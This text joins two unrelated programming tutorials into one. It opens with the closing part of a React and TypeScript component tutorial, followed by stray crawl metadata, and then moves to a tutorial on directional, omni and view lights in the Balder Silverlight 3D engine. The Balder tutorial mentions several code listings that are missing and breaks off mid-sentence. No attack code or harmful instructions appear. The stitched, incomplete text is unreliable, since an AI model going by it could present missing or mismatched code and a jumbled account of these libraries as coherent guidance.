</p> </AppBody> </main> ); There we go. Now we have some body content in our app that had a header, some tasty meat quotes and as I mentioned, we passed in a child element p basic HTML element to the AppBody as well and it is displayed where we placed our children in the AppBody. We can add as many, or none, children in here as we want and they will all be added to the DOM. Conclusion With our App built out, we can open a terminal in the root directory and start the app and we should see the AppHeader and below it our AppBody: yarn start # or with NPM npm stat React is a great framework for building very powerful apps working on this same concept of component-based design. This scales very well as we can add more and more components to use as building blocks to build out our app. This first article goes over this component concept as well as how to use TypeScript in conjunction with React to create type-safe, readable, maintainable components. The next article in this series will go over the concept of Hooks as we will start to make our components a little smarter and able to manage their state. Stay tuned for more to come and I hope you enjoyed this article.
https://ultimatecourses.com/blog/getting-started-with-react-and-typescript
CC-MAIN-2021-21
refinedweb
2,927
54.22
Opened 4 years ago Closed 4 years ago #18070 closed Uncategorized (worksforme) django version 1.5 Description Python 2.7.2 (v2.7.2:8527427914a2, Jun 11 2011, 15:22:34) [GCC 4.2.1 (Apple Inc. build 5666) (dot 3)] on darwin Type "help", "copyright", "credits" or "license" for more information. import django django.get_version() '1.5' Change History (1) comment:1 Changed 4 years ago by aaugustin - Needs documentation unset - Needs tests unset - Patch needs improvement unset - Resolution set to worksforme - Status changed from new to closed Note: See TracTickets for help on using tickets. It appears you're using the development version, and this is the expected behavior.
https://code.djangoproject.com/ticket/18070
CC-MAIN-2016-30
refinedweb
111
67.65
Quick and dirty: plot your data on a map with python Once upon a time, I looked at a couple of data sets that involved geographical data. I wanted to actually plot the data on a map, so I had to do some shopping around for easy ways to do this quickly with python. What I wanted to do One of the data sets provided zipcodes, which I was able to convert to latitude and longitude (more on this below). At a minimum, I knew I wanted to be able to plot: a) location, b) a number value and text label, c) multiple colors designating groups of data points, e.g. ‘high’ or ‘low’ values for a particular variable, which ideally could be toggled on and off. I tried looking at the various options for google maps, and just felt overwhelmed by the choices. My data was already in pandas dataframes, so I didn’t want to convert it to json, or whatever. Really what I wanted was just a simple python wrapper for the API, even if I’d have to switch to something else later. The most difficult question is of course this one: How much interactivity will I need? I don’t know, maybe more in the future, but to start with I just wanted to get something on a map. Minimal interactivity required, at least initially. What I used After exploring a myriad of available options, I settled on an open-source library called pygmaps, which seemed like it could do what I needed. But it was a little bit out of date, so when I went to try using it, I got some errors. I had to edit the source to remove a method that I didn’t need, in order to get rid of one of the requirements that I couldn’t find anywhere (it looks like this has since been fixed in pygmaps-ng). To convert my zipcode column into latitude and longitude coordinates, I used this free zipcode database, and incorporated that back into my dataframe using pandas (more on that below). Zipcode lookup To find the zipcodes for the data points in my dataframe, I just wanted to match on zip code and return the latitude and longitude as additional columns in my existing dataframe. Essentially, this can be done in a one-line join. Pandas now has this built in, but it helps to understand how it works in SQL because the arguments are that same style. zips = pandas.read_csv("zipcode.csv") zippier = zips[['zip', 'city', 'state', 'latitude', 'longitude']] mappable = pandas.merge(mydata, zippier, how='left', left_on='ZipCode', right_on='zip', sort=False) Divvying up the data: High, Medium, Low I played around with different ways to do this. Quartiles and terciles are pretty easy, and it makes sense to do it this way if your data is normally distributed. For some of the stuff I did, that worked. You can either feed it the fractions or the number of bins you want. If your data is not a normal distribution, however, it might make more sense to set up your own thresholds to display more meaningful segments that actually correspond to ‘high’ vs. ‘low’. Ultimately, this was more meaningful for some of the variables I was examining. This is why I always look at histograms before I do anything else. quartiles = pandas.qcut(df['mycolumn'], [0, .25, .5, .75, 1]) #sometimes useful to check the counts to make sure this worked as expected: quartiles_counts = pandas.value_counts(quartiles) #another way to do the divvying terciles = pandas.qcut(df['othercolumn'], 3, retbins=True, labels=['low', 'middle', 'high']) Assigning colors to groups Hexadecimal time! If you ever saw my old website, you’ll immediately know: it’s not a secret that I love color. So I was mildly frustrated when I was talking to a designer who was very concerned about whether there might be colorblind people looking at the maps I was making. Ultimately, I looked at a variety of color palettes, and chose to use maximum contrast, where brighter shades were assigned for ‘high’ values, and darker shades were assigned for ‘low’ values. (For those who make a lot of charts, it’s nice to know that seaborn shows examples with a colorblind palette). Having picked the colors I wanted, I had to assign them to the appropriate segments of the data. First, I made a dictionary with the flags and the colors. Then I wrote a 1-line function to match the values. color_codes = {'low':'660000', 'middle':'990000', 'high':'FF0000'} def color_picker(terciles, color_codes): '''Convert 'low' 'middle' or 'high' tercile flags into hexadecimal color codes. high is brightest, low is darkest. (list of str, dict of str) -> (list of str) >>> color_picker(terciles, color_codes) ['FF0000', '660000','990000'...] ''' return [color_codes.get(x) for x in terciles] df['colors'] = color_picker(df['terciles'], color_codes) Format labels I wanted the markers on my map to be labeled, so when I click on them I can see what they are. Formatting the labels turned out to be a bit of a pain in the neck, so I just hacked something together. The trick ended up being that it was easiest to deal with getting the data out of the dataframe by using the itertuples() method. def format_labels(df): ''' Each df row is a list of str, float, float, float Convert to str for display on map. #somewhat lame but ok for now ''' formatted = [] for row in df.itertuples(): text = "Marker: {0} <br/> Value: {1} </br> Zippyness: {2}".format(row[4], row[5], row[6]) formatted.append(text) return formatted Generating the map Finally, after all that, I was able to incorporate my data into a map. I followed the pygmaps example almost exactly. I didn’t immediately understand what was going on, so I wrote my methods with names to clarify which sections corresponded to which features on the map. And then I made a map! And then I did it a few more times, and realized this is something I might use fairly often. Maybe you will, too. #initialize map mymap = Map() app1 = App('non', title="Part1") mymap.apps.append(app1) app2 = App('part', title="Part2") mymap.apps.append(app2) def add_legend(): ''' hard-coded labels for groups of markers. ''' part1_legend = DataSet('part1', title='Part1 (red)', key_color='#FF0000') app1.datasets.append(part1_legend) part2_legend = DataSet('part2', title = 'Part2 (blue)', key_color = '#0000FF') app2.datasets.append(part2_legend) return part1_legend, part2_legend def add_markers_from_df(non_legend, part_legend, df): ''' Extract and apply latitude and longitude columns from df. (df) -> appropriate columns add_marker(lat,long,title,color,text) where color = hexadecimal code without hashtags title and text must be strings title shows on mouseover, text shows on click note that df.itertuples treats the index column as column zero ''' for row in df.itertuples(): temp = row part1_legend.add_marker([temp[1], temp[2]],title=temp[4], color=temp[5], text=temp[3]) df = pandas.read_csv("my_data.csv") add_points_from_df(df) pt = [33.0000, -117.0000] mymap.build_page(center=pt, zoom=10, outfile="map_test.html")
https://szeitlin.github.io/posts/engineering/quick-and-dirty-plot-your-data-on-a-map/
CC-MAIN-2022-27
refinedweb
1,168
63.09
It is currently 12:00AM, March 32nd. I was digging through the deep web and I found out about a couple tricks that legendary grandmasters have been using on this website for ages, though it was kept secret from the rest of humanity. These tricks are too dangerous for dangerous people to know (Kim Jong Un if you are reading this please stop). However, I am personally sick of the inequality and I think it is time to let the world know the secrets to make your programs run super fast. Trick 1: The O(N) to O(1) trick. Consider this problem. The bounds are clearly too large for an O(N) solution (looping from L to R). However, what if I told you that you could easily modify your O(N) code to make it O(1)? Consider this piece of code: long sum = 0; for(long i = 0; i < N; i++){ sum += i; } We can clearly see that for large N, such as 10^18, the program will take a long time to run. BUT!!! We can turn every linear time algorithm into constant time by considering the maximum value of N (which is always given by problemsetters in the description in Codeforces). Here is the SAME code, but in constant time. long sum = 0; for(long i = 0; i < 1000000000000000000L; i++){ sum += i; } Now with your new knowledge, you can solve the problem above. Trick 2: Thread.Sleep, a trick for the Java folks that are sick and tired of C++'s supremacy. Now, you are reading this trick and thinking I am crazy. Sharon, how is it possible? Do you even know how to program? Thread.Sleep() slows your program down... It literally stops the program for the amount of time that you specify. Now, I don't blame you for getting confused. I was too, originally. Until I found out you can manipulate the laws of the universe using this function to make your program run faster, like magic! Here is what I mean. Have you ever considered passing a negative integer as an argument to that method? I bet you have not. What do you think it does? Well, we can follow simple logical reasoning. When we plug in a positive integer, the program stops for that amount of time. Therefore, when we plug in a negative number, the program should stop for a negative amount of time. In order to do that, it must start earlier, therefore faster, so the whole program runs faster! Here is an example program: import java.util.*; public class R468A { public static void main(String[] args) { Thread.Sleep(-99999999999999999999999999999999999999999999999999999999999999999999999999999999999999); Scanner scan = new Scanner(System.in); int a = scan.nextInt(); int b = scan.nextInt(); if(a > b){ int temp = b; b = a; a = temp; } long ans = 0; long t1 = 0; long t2 = 0; while(a < b){ //System.out.println(a+" "+b); t1++; a++; ans += t1; if(a == b) break; b--; t2++; ans += t2; } System.out.println(ans); } } When you run this program, you will see that it terminates nearly instantly. This is the true power of the Thread.Sleep trick. Anyway, I hope you enjoy my tutorial and that it will provide you with many AC solutions and high rating. I will be on the lookout for more weird tricks and I will make sure to share them as I find any.
http://codeforces.com/blog/entry/58667
CC-MAIN-2018-51
refinedweb
564
83.66
Search... FAQs Subscribe Pie FAQs Recent topics Flagged topics Hot topics Best topics Search... Search Coderanch Advance search Google search Register / Login Adam Altmann Greenhorn 21 12 Threads 0 Cows since Jun 08, (12 (12/10) Number Likes Received (0/3) Number Likes Granted (0/3) Set bumper stickers in profile (0/1) Set signature in profile Set a watch on a thread Save thread as a bookmark Create a post with an image (0/1) Recent posts by Adam Altmann When do you close PreparedStatements? We're having a minor debate here, and we've been unable to find a definitive answer with Google. When should you close PreparedStatements, and why? Particularly, should you close them before reassigning? For example: PreparedStatement pstmt = null; pstmt = whatever; //Should I close it here? How come? pstmt = somethingElse; Thanks in advance. show more 15 years ago JDBC and Relational Databases Asking advice on what to learn next... Hello all, I've been using Java for a while now, and have passed the SCJP exam, but feel as though my understanding of the language is less than complete. Before I start digging in to the J2EE and all it has to offer, I'd like to be more confident with my level of knowledge. I'd like some suggestions on where to focus my attention. I'm comfortable enough with Swing, and can get by with what I know of JDBC. I'm currently reading up on design patterns, and then plan on diving into the java.util and java.io packages a bit further. I guess what I'm asking is, what packages and/or classes do you find yourselves making use of most often? What should I focus on, to make the most of my time and become more productive? This may seem terribly vague, and I apologize. I'm simply not sure where I should go from here. Any insight would be appreciated. -Adam show more 15 years ago Java in General Could anyone explain this code fragment to me? It's the URL string for setting up a DSN-less connection to a FoxPro database. It works, but I want to know what each part means, or at least where I can find the information on my own. My Google-Fu is weak on this one: final String DB_URL = "jdbc:odbc:Driver={Microsoft FoxPro VFP Driver (*.dbf)};" + "UID=;"+ "Deleted=Yes;"+ "Null=Yes;"+ "Collate=Machine;"+ "BackgroundFetch=Yes;"+ "Exclusive=No;"+ "SourceType=DBF;"+ "SourceDB=<path to databas>"; Any guidance would be greatly appreciated. show more 16 years ago JDBC and Relational Databases JFrame question. I'm writing an application that has one main JFrame with a menubar. ActionListeners on the menubar call a seperate class, which will generate a JPanel, and that panel then gets added to the main JFrame. As of right now, all selections from the menubar will generate the proper JPanels, and everything works as intended. However, if I generate one type of JPanel, and then select a different one, I get graphical corruption. It looks as though components are being drawn on top of what's already there. How do I reset the JFrame, making it a "blank slate" before I add a new JPanel? show more 16 years ago Swing / AWT / SWT I plead with you for help setting up my J2EE environment! I've managed to solve this riddle on my own. Further research showed that I needed to add the location of j2ee.jar to the CLASSPATH. Success! (Unfortunately, now I'm having trouble with Tomcat seeing my servlet! Woe is me!) show more 16 years ago EJB and other Jakarta /Java EE Technologies I plead with you for help setting up my J2EE environment! My Dearest Java-People, How are you? I am fine. I must admit however, that things are not going quite as splendidly as I had hoped concerning Servlets and JSP. I've managed to fumble my way through installation of the J2EE SDK 1.4 All-In-One Bundle, and have even managed to get Tomcat up and running. Life was looking rosy until I tried completing an exercise from one of the books I've purchased. It was at compile time when disaster struck! I now face six, count em', SIX disasterous errors. People's Exhibit A: C:\Projects\beerV1>javac BeerSelect.java BeerSelect.java:6: package javax.servlet does not exist import javax.servlet.*; ^ BeerSelect.java:7: package javax.servlet.http does not exist import javax.servlet.http.*; ^ BeerSelect.java:9: cannot find symbol symbol: class HttpServlet public class BeerSelect extends HttpServlet { ^ BeerSelect.java:12: cannot find symbol symbol : class HttpServletRequest location: class com.example.web.BeerSelect public void doPost(HttpServletRequest request, HttpServletResponse respo nse) ^ BeerSelect.java:12: cannot find symbol symbol : class HttpServletResponse location: class com.example.web.BeerSelect public void doPost(HttpServletRequest request, HttpServletResponse respo nse) ^ BeerSelect.java:13: cannot find symbol symbol : class ServletException location: class com.example.web.BeerSelect throws ServletException, IOException { ^ 6 errors Not being a completely hapless twit, I feebly searched the intarweb to help with my plight. It was in this, my darkest of hours, that I stumbled upon information regarding mysterious Environment Variables. With assistance from my aging grandmother, I've toiled to set the following: %J2EE_HOME% C:\Sun\AppServer %JAVA_HOME% C:\Sun\AppServer\jdk Yet still I'm faced with those same half-dozen errors, and I know not what to do. I've become quite emotionally distraught, and now turn to you for aid. Hopefully someone will hear my piteous plea, and provide me what answers I seek, while I go drown my sorrows in a bowl of Mint Chocolate Chip Ice Cream. Sincerely, Adam show more 16 years ago EJB and other Jakarta /Java EE Technologies Dear Moderator(s), Hello, Would it be possible for you to remove these foolish periods from my display name? I registered once before, sans periods, but had forgotten my login and password, and so was forced to reinvent myself. I assure you it's me. I'm the only Adam Altmann I've ever known. (It's a shame, really.) So clearly I know what I'm talking about. Thanks much. -Adam show more 16 years ago Ranch Office TableSorter (Can you skip a column?) OR, Since I may be doing things the Hard Way. Is there a way to get a JTable to show row numbers? I'm looking through the API as I type, but I'm not seeing anything. Thanks again, -Adam show more 16 years ago Swing / AWT / SWT TableSorter (Can you skip a column?) Hello, I'm working with JTables (It's good stuff.) and am using TableSorter to add cool, column-sorting goodness to my application. It works. It's fantastic. I get giddy just thinking about it. My problem lies in the fact that I'd like to have a nifty little column on the left which holds the row number (like any spiffy database/spreadsheet thingie should). I'd like these to remain starting at 1 and incrementing per record...you know the deal. So, what I have to do is figure out how to get TableSorter to skip that particular column. When I look at the TableSorter code, I'm "Like, woah." Can anyone point me in the right direction? Thanks. -Adam show more 16 years ago Swing / AWT / SWT JInternalFrame "Look and Feel" question. Here's the code I've written. There are three seperate classes. One for the main() method, one to generate the backing GUI, and one for the internal frame. package com.-------; import javax.swing.*; public class Reporter { public static void main(String[] args) { //Schedule a job for the event-dispatching thread: //Create and Show this application's GUI. SwingUtilities.invokeLater(new ReporterGUI()); } } package com.---------; import javax.swing.*; import java.awt.*; import java.awt.event.*; public class ReporterGUI implements Runnable { private static JDesktopPane desktop = new JDesktopPane(); public void run() { JFrame backingFrame = new JFrame("Reporter v1.0"); backingFrame.setSize(400, 400); backingFrame.setExtendedState(Frame.MAXIMIZED_BOTH); backingFrame.setMaximizedBounds(null); backingFrame.setContentPane(desktop); backingFrame.setJMenuBar(ReporterGUI.createMenuBar()); backingFrame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); backingFrame.setVisible(true); } private static JMenuBar createMenuBar() { JMenuBar menuBar = new JMenuBar(); JMenu menu = new JMenu("File"); menuBar.add(menu); JMenuItem menuItem = new JMenuItem("New"); menuItem.addActionListener(new FileNewListener()); menu.add(menuItem); return menuBar; } private static class FileNewListener implements ActionListener { public void actionPerformed (ActionEvent evt) { ReportFrame report = new ReportFrame(); report.setVisible(true); desktop.add(report); } } } package com.-----------; import javax.swing.JInternalFrame; public class ReportFrame extends JInternalFrame { private static int openFrameCount = 0; ReportFrame() { super("Report " + ++openFrameCount, true, //resizeable true, //closeable true);//maximisable setSize(400, 200); setLocation(20*openFrameCount, 20*openFrameCount); } } The backing UI (with the menu-bar) shows up as Synth, while the internal frames show up in Motif. This happens when I run from the command-line, OR run from Eclipse. Any ideas? *Edit: I've run it on two seperate systems with the same result. [ June 17, 2005: Message edited by: Adam. Altmann. ] show more 16 years ago Swing / AWT / SWT JInternalFrame "Look and Feel" question. Hello, I've been asked to write a Multiple-Document interface application, and have a very basic version up and running. It seems however, that the "Look and Feel" for JInternalFrame does not pay attention to the rest of the application. My backing frame (L&F = whatever the default is on Windows) does not match the internal ones (L&F = Motif). I've managed to change the Look and Feel for everything using UIManager, but it just doesn't look "the same". I'm wary of using Motif, as it will frighten the unsuspecting users. Is there a simple way to "fix" these uncooperative Internal Frames without having to change whatever the Default Look and Feel is? (The L&F was "updated" with 1.5, was it not? I'm assuming it's that L&F that the backing frame is using, which is what I'd prefer). Thanks, -Lost in Wisconsin show more 16 years ago Swing / AWT / SWT Unable to run a .JAR as a windows Scheduled Task The path to the .JAR file. "C:\Documents and Settings\user\Desktop\Application.jar" or "C:\Applications\Application.jar" etc. It doesn't seem to matter where it is, it won't run if I set the Scheduled Task up like this...though it seems that Windows is trying to run it, since it produces the lovely JVM error. Though if I set up the batch file as so: ECHO OFF java -jar Application.jar ECHO ON ...Scheduled Tasks will run it just fine. show more 16 years ago Java in General Unable to run a .JAR as a windows Scheduled Task Yes, I can run it from the Command Line. I've got: C:\>echo %JAVA_HOME% C:\Program Files\Java\jdk1.5.0_03 C:\>echo %CLASSPATH% . C:\>echo %PATH% C:\Program Files\Java\jdk1.5.0_03\bin; I think that covers everything. I can run my application from the command line, or by double-clicking on it. If I go to add a Scheduled Task, and browse to the .JAR and add it that way. I get the "Cannot find main class" error dialog. But if I run a batch file including "java -jar Application.jar", it works just fine. Am I missing something with either JAVA_HOME, PATH, or CLASSPATH? Thanks for your help. show more 16 years ago Java in General Unable to run a .JAR as a windows Scheduled Task Update, I've worked around this issue by writing a batch file to run the .JAR, and adding the batch file to Scheduled Tasks. The good news is it works now. The bad news is, I haven't learned why it didn't work in the first place. An unfortunate state of affairs, to be sure. show more 16 years ago Java in General Unable to run a .JAR as a windows Scheduled Task Also, The manifest file contains the following: Manifest-Version: 1.0 Main-Class: com.----------.autodbxfer.DataMover Whis is correct, as far as package and name are concerned. Like I said, it works if I doubleclick it. show more 16 years ago Java in General
https://www.coderanch.com/u/100448/Adam-Altmann
CC-MAIN-2021-49
refinedweb
2,026
67.15
We are about to switch to a new forum software. Until then we have removed the registration on this forum. hi everyone! Im new using processing, and i find myself stuck with this doubt, im looking for something that helps me to sincronize the audio and the image and fade out the image, all of that part is in the keyPressed part, i hope i make myself clear import ddf.minim.*; PImage img1, img2; int trans ; int vol = 1; float transparency = 255; AudioPlayer latido; AudioPlayer pip; Minim minim; void setup() { size(500, 500); background(0); trans = 255; vol = 1; pipi = 3; img1 = loadImage("cora.jpg"); minim = new Minim(this); pip = minim.loadFile("pip.mp3"); latido = minim.loadFile("latido.mp3"); // the audio "latido" in loop latido.loop(); } void draw() { //i combine the audio with the transparency of the image int vol = int(latido.mix.level()*500); println(vol); int trans = int(map(vol,-100,200,80,200)); tint(trans,100); image(img1, -30, -300); if (transparency > 0) { transparency -= 10; } tint(0, transparency); image(img1, -30, -300); } _ ** void keyPressed(){ //when you press any key the audio "latido" stop, and another audio(pip) starts and the image fade out with tthe last audio(here is my doubt) latido.pause(); pip.setGain(-15); pip.play(); pip.loop(); }**_ Answers Prev related posts: Just to clarify, how is the fading out relates to the sound? Should it fade out along the length of the sound? I notice your sound is activated by calling its loop() function. Kf Hi, first of all thank you for the help! And yes, the fade out should be along the lenght of the sound, i try to activate the sound by the function "play" and i also put it on "loop" because i want that everytime that you press any key, the sound be continuos and start at the beggining of it, i hope i kind of make myself clear its the first time that i use processing, again thanks for the help! These two posts can get you started: This is a fading over a length of time: This indicates when the sound has stop playing: However, to determine what is the current position of the sound that is playing, you need to check the docmentation: and become familiar with the length() and position() functions of the AudioPlayer class. Kf
https://forum.processing.org/two/discussion/23399/how-to-sincronize-the-audio-in-a-way-that-fade-out-the-image
CC-MAIN-2019-47
refinedweb
392
64.34
This post is the fourth in a series of posts introducing ArangoML and showcasing its benefits to your machine learning pipelines. Until now, we have focused on ArangoML’s ability to capture metadata for your machine learning projects, but it does much more. In this post we: - Introduce the concept of covariate shift in datasets - Showcase the built-in dataset shift detection API > %%capture !pip install python-arango !pip install arangopipe==0.0.6.9.3 !pip install pandas PyYAML==5.1.1 sklearn2 !pip install jsonpickle Intro¶ We use a few terms throughout this notebook that will be helpful to be aware of, and this section explains some of them. Machine learning is frequently applied to perform supervised learning. Supervised learning involves training a model to predict an entity of interest, given other entities that we think can be used to predict it. Model Parameters¶ The entity of interest is called the target. The entities that we use to predict it are called predictors. When the target can take a continuous range of values, the learning task is called regression. Examples of targets that could take a continuous range of values include: - House prices - Cholesterol level in a blood sample - Customers online shopping budget In contrast, there are applications where the target can only take one of a fixed set of values. In this case, the target is discrete or categorical in contrast to being continuous. Examples of discrete targets would be: - The threat level of a request that is received (intruder/benign) - Disease status of an individual (infected/not-infected) When the target is discrete or categorical, the learning task is called classification. We will start our machine learning series with a regression example. In part 2 of this series, we developed a regression model using LASSO regression. Covariate Shift¶ When developing a model, we determine the model’s parameters as part of the training process. The model parameters are estimated from the data and are the coefficients associated with the regression line. However, the data in the training sample may not be representative of the data the application is receiving now; for reasons such as: - The data we collected initially may be subject to sampling biases. - We may have intentionally or unintentionally made mistakes in collecting the data. - Market and business conditions have changed and the pricing of the same houses is different. It is possible to account for variances between the years with your predictors, but the model becomes inaccurate if the underlying data distribution changes too much. This potential inaccuracy due to the changing or updating of data is a covariate shift. As you can imagine, it is crucial to make sure your model provides accurate results as you receive more data in production. That is why we will look at detecting covariate shifts in datasets throughout the rest of this notebook. The Dataset¶ We will continue with the dataset we have been using in this series, the California housing dataset. The following code block imports a random sample of 500 lines from the data and prints just a snapshot to visualize the dataset’s information. This dataset is available from the arangopipe repo and was initially = df.sample(n = 500) df.head() Let's Get Started¶ Ok, so all that is well and good, but how do we detect that the underlying dataset distribution changed? We can employ a simple technique to do that. This post will illustrate how a dataset shift can occur and how you can identify it. As discussed earlier, a dataset shift can occur due to sampling errors. For this example, we will deliberately make a sampling error when we acquire the training data used to develop the model. After model development, we receive a new batch of data. The question we will answer is: Is the current batch of data different in a distributional sense from the one used to build the current model? We will use machine learning to solve this problem! Here are some of the steps we will take. - Tag the data from the batch used to build the current production model as 0. - Tag the batch of data that we have received since then as 1. - Develop a model to discriminate between these two labels. - Evaluate the results and adjust the model if necessary. If the model we develop can discriminate too well between the two batches of data, then a covariate shift has occurred, and we need to revisit modeling. If the model cannot discriminate well between these two batches, for example, the classifier we develop produces an accuracy of about 0.5, then this classifier is not very discriminatory. It only performs as well as tossing a fair coin. If we observe such a result, then we conclude that a sufficient dataset shift has not occurred, and our current model will serve us well. We illustrate this idea with the California housing dataset. The machine learning task associated with the dataset is to predict the median house value given a set of predictors. The rest of the notebook illustrates the idea discussed above. req_cols = df.columns.tolist() req_cols.remove("medianHouseValue") df = df[req_cols] df.dtypes lat float64 long float64 housingMedAge int64 totalRooms int64 totalBedrooms int64 population int64 households int64 medianIncome float64 dtype: object df["lat"].describe() count 500.000000 mean -119.538660 std 2.032065 min -124.300000 25% -121.830000 50% -118.440000 75% -118.027500 max -115.370000 Name: lat, dtype: float64 When we plot the histogram of the lat variable, we see two populations (see below): - A group with lat values less than -119 - A group with lat values greater than -119 import matplotlib.pyplot as plt %matplotlib inline df["lat"].hist() <matplotlib.axes._subplots.AxesSubplot at 0x7f29d102c748> Let’s pretend that the current batch of data used to develop our regression model is the first one, the group with lat values less than -119. By not selecting any houses with lat values greater than -119, we have introduced a sampling error. When selecting data for model development, you would want to use the entire range of lat values. Our second group consists of houses with lat values greater than -119. df1 = df.query("lat <= -119") df2 = df.query("lat > -119") Can we discriminate between the two? Let’s develop a classifier and see if we can. Using the dataset shift API¶ Here we use a random forest classifier and our Dataset Shift Detector to test our data and then print the returned score value. from arangopipe.arangopipe_analytics.rf_dataset_shift_detector import RF_DatasetShiftDetector rfd = RF_DatasetShiftDetector() score = rfd.detect_dataset_shift(df1, df2) print ("Detaset shift score : %2.2f" % (score)) Detaset shift score : 1.00 Interpretation of the score reported by the shift detector¶ The API uses a classifier to discriminate between the datasets provided to it. The score reported by the API is the accuracy of the classifier to discriminate between the datasets. Values close to 0.5 indicate that the classifier is not able to discriminate between the two datasets. This could be interpreted as a situation where no discernable shift has occurred in the data since the last model deployment. Values close to 1 indicate that the dataset shift is detectable, and we may need to revisit modeling. How the dataset shift affects the performance of the deployed model is problem-dependent. So we must assess the score in the context of a particular application. Usually, we perform experiments to determine a threshold value of the dataset shift score; the score represents an acceptable level of drift. Conclusion¶ This post introduced covariate shifts in datasets and provided an example of how easy it is to test this with ArangoML’s built-in API. The Introduction to ArangoML series will continue, so be sure to sign up for our newsletter to be notified of the next release! You can also join us on the ArangoML Slack channel if you have any questions or comments. If you have something cool you are working on with ArangoML or ArangoDB in general we would love to learn about it. We now have an interactive tutorials repository where you can share your own notebook with the community, check it out!
https://www.arangodb.com/2020/11/arangoml-part-4-detecting-covariate-shift-in-datasets/
CC-MAIN-2021-31
refinedweb
1,363
56.45
Lock UI Customization You can customize the appearance of your Lock widget in a few different ways. The best and safest way to do so is with the provided JavaScript options. JavaScript Options You can set up a variety of customizations to your Lock via the options parameter when you instantiate your Lock. Some of them allow you to customize your UI. The UI customization options are a work in progress - we expect to be adding more as we go. First, you'll define the options object, containing whichever options you're wanting to customize. Then you'll need to include that options object as the third parameter when you instantiate Lock; more on that below. Theming Options There are a couple of theming options currently available, namespaced under the theme property. logo {String} The value for logo is a URL for an image that will be placed in the Lock's header, and defaults to Auth0's logo. It has a recommended max height of 58px for a better user experience. var options = { theme: { logo: '' } }; primaryColor {String} ", } } } }; Customizing Text The languageDictionary option allows customization of every piece of text displayed in the Lock. Defaults to {}. See below for an example. var options = { languageDictionary: { emailInputPlaceholder: "something@youremail.com", title: "Log me in" }, }; Instantiating Lock Finally, you'll want to go ahead and instantiate your Lock, with the options object that you've defined with your custom options in it. // Initiating our Auth0Lock var lock = new Auth0Lock('YOUR_CLIENT_ID', 'YOUR_AUTH0_DOMAIN', options); Overriding CSS Customizing your Lock by overriding its CSS isn't recommended.. Regarding Lock CSS Themes At this time, Auth0 doesn't offer any alternative pre-made CSS themes for Lock v11, and the ones that existed for earlier versions of Lock will not work with Lock v11. Further Information If you're looking for more detailed information while working to customize Lock for your application, check out the configuration options page or the Lock API page! If you have specific theming options that you would like to see added, let us know. We are working on improving the customization options that are available through JavaScript, and this list will be updated as new options are added.
https://auth0.com/docs/libraries/lock/v11/ui-customization
CC-MAIN-2018-22
refinedweb
366
52.7
User Name: Published: 15 Sep 2010 By: Xianzhong Zhu In this second part of the series, we are going to continue to discuss the Balder engine in the aspect of other advanced concepts and features, i.e. Light, View and Camera. In this second part of the series, we are going to continue to discuss the Balder engine in the aspect of other advanced concepts and features, i.e. Light, View and Camera. And at the same time, related samples are provided; please do note the relevant sample Silverlight UserControl name. 1. The second part related samples are located in another project named Balder_tut_Adv. 2. The development environments and tools we'll use in these series of articles are all the same as the ones covered in the first part. Let's start to check out the light support in the Balder engine. In this section, we will first introduce the basic support for lights in Balder. Then, we will discuss the commonly-used properties in terms of light programming. Finally, we will create the corresponding sample applications. In fact, in the samples in the first article we have already put Light into use, only mainly around the OmniLight. In fact, three kinds of Lights have been introduced into Balder, i.e. DirectionalLight, OmniLight, and ViewLight. The following figure gives the relationships between them. All the above kinds of lights are located in the namespace Balder.Lighting. Figure 2 below illustrates the dependency graph in this namespace, through the Visual Studio Architecture tool. Obviously, changing their properties to visualize the practical effects is the best way to understand the three different kinds of lights in Balder. Moreover, we can get an idea of their differences by creating related samples. Now, let's build up some basic samples to look into the basic usage of the different kinds of lights in Balder. 1. The directional light Let's look at a basic application of the directional light. Listing 1 below shows the main part of related XAML markups (in the UserControl DirectionalLight.xaml). For simplicity and emphasis, we've only put a directional light in the scene. The Position property refers to the position of the light; the Direction property specifies the shine-out direction of the light, which defines a vector from the original coordinate point to point (0,-1, 0). However, the value (0, 1, 0) of the Direction property defines a vector from point (0, 1, 0) to the original coordinate point. The default value of the Strength property is 1.0. Please make clear all the properties here in combination with the figure listed above. Figure 3 below illustrates one of the related running-time snapshots of this demo. Position Direction Strength Note in this sample, since we specify the InteractionEnabled property of the box to true, you can easily rotate it to the directional effect of the light by dragging the box. Also, for clarity, we've placed a small red box representing the position of the light. InteractionEnabled true 2. The omni light Listing 2 below shows the main XAML markups associated with the omni light sample (in the UserControl OmniLight.xaml). In the definition of the OmniLight object, we should pay special attention to the Diffuse property and the Strength property. As you've known, an omni light is also called point light. The Diffuse property mainly represents the color of this kind of light, while the Strength property, as with the directional light, indicates the strength of this color. Another property - Range will participate in the calculation of the final effect of the light. In this case, we specify its value ranging from 0 to 100. You will notice when the value of the Range property equals to 0, the box turns black, while for other values the color of the box changes little. Related complex calculation formula will not be discussed here. Diffuse Range Figure 4 shows one of the related running-time snapshots. Here, you can use the slider controls to change the values of the Range property and the Y coordinate of the Position property to give a closer study. And also, you can rotate the box by dragging it. Y 3. The view light First of all, we should notice that the ViewLight is derived from the DirectionalLight class. To gain a clearer idea, you can refer to code in Listing x below. Apparently, the only special things are the three properties, XAngleOffset, YAngleOffset, and ZAngleOffset. As for how the three properties participate in the light related calculation and affect the finial lighting, we are not going to go deep into this. Instead, a simple sample will bring to you a more intuitive understanding with them, by changing the related values. XAngleOffset YAngleOffset ZAngleOffset Listing 4 below shows the main XAML markups associated with the view light sample (in the UserControl ViewLight.xaml). Again, the only special things are the three new properties, XAngleOffset, YAngleOffset, and ZAngleOffset defined in the ViewLight object. So, we are to elide the related explanations, but you can refer to the running-time result shown in Figure 5 to do simple test. ZAngleOffset Here, you can change the values of the height, strength, and the three properties, XAngleOffset, YAngleOffset, and ZAngleOffset of the light to watch the final result. Till now, we've only illustrated the simplest usages of the three kinds of lights in Balder. I suggest you to refer to other samples in this series to try to depict the rest stuffs like that in 3DS MAX to gain a better understanding with the related concepts. And also, you can, as you see in 3DS MAX (or any other 3D modeling IDEs), place several lights (possibly of different kinds) in a 3D scene as required. Anyway, I believe by combining the different kinds of lights, their colors, positions, rotations, and parameters, you are sure to create the final splendid effects, such as explosion, flash, sunrise, nightfall, etc., in your Silverlight applications. To create dazzling real-time scenes in our Silverlight games, we have to familiarize ourselves with the inner-workings of 3D cameras. Only when we are capable to control the properties of the 3D cameras on the fly, and further to switch between multiple cameras, can we achieve the final target to give breath-taking life to our 3D models. In fact, the camera defines an eye for the models in the 3D world, so that moving and rotating the camera animates the models in our 2D screen. In the first part of this series, we have always been working with simple 3D 